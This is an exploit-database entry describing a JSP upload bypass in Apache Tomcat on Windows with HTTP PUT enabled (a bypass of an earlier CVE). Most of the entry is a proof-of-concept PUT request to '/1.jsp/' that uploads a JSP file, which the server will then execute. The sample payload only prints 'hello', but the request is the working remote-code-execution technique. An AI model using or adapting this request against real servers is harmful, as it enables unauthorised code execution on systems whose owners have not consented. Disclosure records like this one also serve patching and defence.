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zdtXxlegend1337DAY-ID-28739
HistoryOct 04, 2017 - 12:00 a.m.

Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass Exploit

2017-10-0400:00:00
xxlegend
0day.today
86

EPSS

0.972

Percentile

99.8%

Exploit for windows platform in category web applications

# E-DB Note: https://www.alphabot.com/security/blog/2017/java/Apache-Tomcat-RCE-CVE-2017-12617.html
 
When running on Windows with HTTP PUTs enabled (e.g. via setting the readonly initialisation parameter of the Default to false) it was possible to upload a JSP file to the server via a specially crafted request. 
This JSP could then be requested and any code it contained would be executed by the server.
 
    The PoC is like this:
     
    PUT /1.jsp/ HTTP/1.1
    Host: 192.168.3.103:8080
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
    Referer: http://192.168.3.103:8080/examples/
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4,zh-TW;q=0.2
    Cookie: JSESSIONID=A27674F21B3308B4D893205FD2E2BF94
    Connection: close
    Content-Length: 26
     
    <% out.println("hello");%>
 
It is the bypass for CVE-2017-12615

#  0day.today [2018-04-12]  #